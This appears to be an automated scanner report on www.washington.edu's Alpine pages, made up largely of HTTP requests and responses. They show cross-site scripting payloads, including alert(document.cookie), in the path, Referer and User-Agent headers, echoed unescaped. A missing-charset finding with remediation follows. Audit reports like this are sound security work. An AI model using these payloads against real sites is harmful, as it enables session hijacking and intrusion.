GET /alpinef972a<img%20src=a%20onerror=alert(String.fromCharCode(88,83,83 HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=1772b<script>alert(1)</script>825d0cb184a
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:11:06 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1443 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img src=a onerror=alert(String.fromCharCode(88,83,83</b> was not found or is ...[SNIP]... </script>825d0cb184a">http://www.google.com/search?hl=en&q=1772b<script>alert(1)</script>825d0cb184a</a> ...[SNIP]...
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1e304"><script>alert(1)</script>3bc164e7716 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /alpinef972a<img%20src=a%20onerror=alert(String.fromCharCode(88,83,83 HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=1e304"><script>alert(1)</script>3bc164e7716
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:11:06 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1451 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img src=a onerror=alert(String.fromCharCode(88,83,83</b> was not found or is ...[SNIP]... <a href="http://www.google.com/search?hl=en&q=1e304"><script>alert(1)</script>3bc164e7716"> ...[SNIP]...
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload 72eb0><script>alert(1)</script>f372d244a89 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /alpinef972a<img%20src=a%20onerror=alert(String.fromCharCode(88,83,83 HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=72eb0><script>alert(1)</script>f372d244a89
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:11:06 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1447 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img src=a onerror=alert(String.fromCharCode(88,83,83</b> was not found or is ...[SNIP]... <img src=a onerror=alert(String.fromCharCode(88,83,83, referer: http://www.google.com/search?hl=en&q=72eb0><script>alert(1)</script>f372d244a89.</br> ...[SNIP]...
The value of the User-Agent HTTP header is copied into the HTML document as plain text between tags. The payload a9cd4<script>alert(1)</script>cf2ce7c8cab was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /alpinef972a<img%20src=a%20onerror=alert(String.fromCharCode(88,83,83 HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)a9cd4<script>alert(1)</script>cf2ce7c8cab Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:11:04 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1216 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img src=a onerror=alert(String.fromCharCode(88,83,83</b> was not found or is ...[SNIP]... <br> Browser: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)a9cd4<script>alert(1)</script>cf2ce7c8cab<br> ...[SNIP]...
The value of the Referer HTTP header is copied into the HTML document as plain text between tags. The payload 492f0<script>alert(1)</script>34eb159046a was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /alpinef972a<img%20src=a%20onerror=alert(String.fromCharCode(88,83,83))>e6e3afeb687/ HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=492f0<script>alert(1)</script>34eb159046a
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:11:05 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1493 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img src=a onerror=alert(String.fromCharCode(88,83,83))>e6e3afeb687/</b> wa ...[SNIP]... </script>34eb159046a">http://www.google.com/search?hl=en&q=492f0<script>alert(1)</script>34eb159046a</a> ...[SNIP]...
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 29ef0"><script>alert(1)</script>43e8426f66e was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /alpinef972a<img%20src=a%20onerror=alert(String.fromCharCode(88,83,83))>e6e3afeb687/ HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=29ef0"><script>alert(1)</script>43e8426f66e
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:11:05 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1501 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img src=a onerror=alert(String.fromCharCode(88,83,83))>e6e3afeb687/</b> wa ...[SNIP]... <a href="http://www.google.com/search?hl=en&q=29ef0"><script>alert(1)</script>43e8426f66e"> ...[SNIP]...
The value of the User-Agent HTTP header is copied into the HTML document as plain text between tags. The payload 2ae36<script>alert(1)</script>e3eb2d74228 was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /alpinef972a<img%20src=a%20onerror=alert(String.fromCharCode(88,83,83))>e6e3afeb687/ HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)2ae36<script>alert(1)</script>e3eb2d74228 Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:11:04 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1266 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img src=a onerror=alert(String.fromCharCode(88,83,83))>e6e3afeb687/</b> wa ...[SNIP]... <br> Browser: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)2ae36<script>alert(1)</script>e3eb2d74228<br> ...[SNIP]...
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload bf01d><script>alert(1)</script>a78c347ab3f was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /alpinef972a<img%20src=a%20onerror=alert(document.cookie HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=bf01d><script>alert(1)</script>a78c347ab3f
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:11:04 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1408 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img src=a onerror=alert(document.cookie</b> was not found or is no longer on ...[SNIP]... <img src=a onerror=alert(document.cookie, referer: http://www.google.com/search?hl=en&q=bf01d><script>alert(1)</script>a78c347ab3f.</br> ...[SNIP]...
The value of the Referer HTTP header is copied into the name of an HTML tag attribute. The payload 8b38e><script>alert(1)</script>88306eec07b was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /alpinef972a<img%20src=a%20onerror=alert(document.cookie HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: 8b38e><script>alert(1)</script>88306eec07b
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:11:04 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1260 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img src=a onerror=alert(document.cookie</b> was not found or is no longer on ...[SNIP]... <img src=a onerror=alert(document.cookie, referer: 8b38e><script>alert(1)</script>88306eec07b.</br> ...[SNIP]...
The value of the Referer HTTP header is copied into the HTML document as plain text between tags. The payload 69385<script>alert(1)</script>a6f6fa4a2dc was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /alpinef972a<img%20src=a%20onerror=alert(document.cookie HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=69385<script>alert(1)</script>a6f6fa4a2dc
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:11:05 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1404 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img src=a onerror=alert(document.cookie</b> was not found or is no longer on ...[SNIP]... </script>a6f6fa4a2dc">http://www.google.com/search?hl=en&q=69385<script>alert(1)</script>a6f6fa4a2dc</a> ...[SNIP]...
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 53c75"><script>alert(1)</script>f39259fbf77 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /alpinef972a<img%20src=a%20onerror=alert(document.cookie HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=53c75"><script>alert(1)</script>f39259fbf77
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:11:04 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1412 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img src=a onerror=alert(document.cookie</b> was not found or is no longer on ...[SNIP]... <a href="http://www.google.com/search?hl=en&q=53c75"><script>alert(1)</script>f39259fbf77"> ...[SNIP]...
The value of the User-Agent HTTP header is copied into the HTML document as plain text between tags. The payload a38ec<script>alert(1)</script>b29724d166e was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /alpinef972a<img%20src=a%20onerror=alert(document.cookie HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)a38ec<script>alert(1)</script>b29724d166e Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:11:00 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1177 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img src=a onerror=alert(document.cookie</b> was not found or is no longer on ...[SNIP]... <br> Browser: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)a38ec<script>alert(1)</script>b29724d166e<br> ...[SNIP]...
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 10da7"><script>alert(1)</script>2c7b19061dd was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /alpinef972a<img%20src=a%20onerror=alert(document.cookie)>e6e3afeb687/ HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=10da7"><script>alert(1)</script>2c7b19061dd
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:11:01 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1459 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img src=a onerror=alert(document.cookie)>e6e3afeb687/</b> was not found or ...[SNIP]... <a href="http://www.google.com/search?hl=en&q=10da7"><script>alert(1)</script>2c7b19061dd"> ...[SNIP]...
The value of the Referer HTTP header is copied into the HTML document as plain text between tags. The payload 63899<script>alert(1)</script>2920147a5c6 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /alpinef972a<img%20src=a%20onerror=alert(document.cookie)>e6e3afeb687/ HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=63899<script>alert(1)</script>2920147a5c6
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:11:04 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1451 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img src=a onerror=alert(document.cookie)>e6e3afeb687/</b> was not found or ...[SNIP]... </script>2920147a5c6">http://www.google.com/search?hl=en&q=63899<script>alert(1)</script>2920147a5c6</a> ...[SNIP]...
The value of the User-Agent HTTP header is copied into the HTML document as plain text between tags. The payload c9a58<script>alert(1)</script>c39d6e840fd was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /alpinef972a<img%20src=a%20onerror=alert(document.cookie)>e6e3afeb687/ HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)c9a58<script>alert(1)</script>c39d6e840fd Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:10:59 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1224 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img src=a onerror=alert(document.cookie)>e6e3afeb687/</b> was not found or ...[SNIP]... <br> Browser: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)c9a58<script>alert(1)</script>c39d6e840fd<br> ...[SNIP]...
2. HTML does not specify charsetprevious There are 9 instances of this issue:
If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.
In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.
GET /alpine/ HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Mon, 24 Jan 2011 15:11:59 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 Last-Modified: Wed, 02 Jun 2010 21:14:58 GMT ETag: "508e38-14de-4881295089880" Accept-Ranges: bytes Content-Length: 5342 Vary: Accept-Encoding Connection: close Content-Type: text/html
<!--chtml set main title="Alpine Messaging System"-->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <title>Alpine Messaging ...[SNIP]...
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img src=a onerror=alert(String.fromCharCode(88,83,83))>e6e3afeb687/a</b> w ...[SNIP]...
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img src=a onerror=alert(document.cookie)>e6e3afeb687/a</b> was not found o ...[SNIP]...
GET /alpinef972a<img HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:10:52 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1028 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img</b> was not found or is no longer on this server. <p>Please check the URL ...[SNIP]...
GET /alpinef972a<img%20src=a%20onerror=alert(String.fromCharCode(88,83,83 HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:10:58 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1175 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img src=a onerror=alert(String.fromCharCode(88,83,83</b> was not found or is ...[SNIP]...
GET /alpinef972a<img%20src=a%20onerror=alert(String.fromCharCode(88,83,83))>e6e3afeb687/ HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:10:57 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1225 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img src=a onerror=alert(String.fromCharCode(88,83,83))>e6e3afeb687/</b> wa ...[SNIP]...
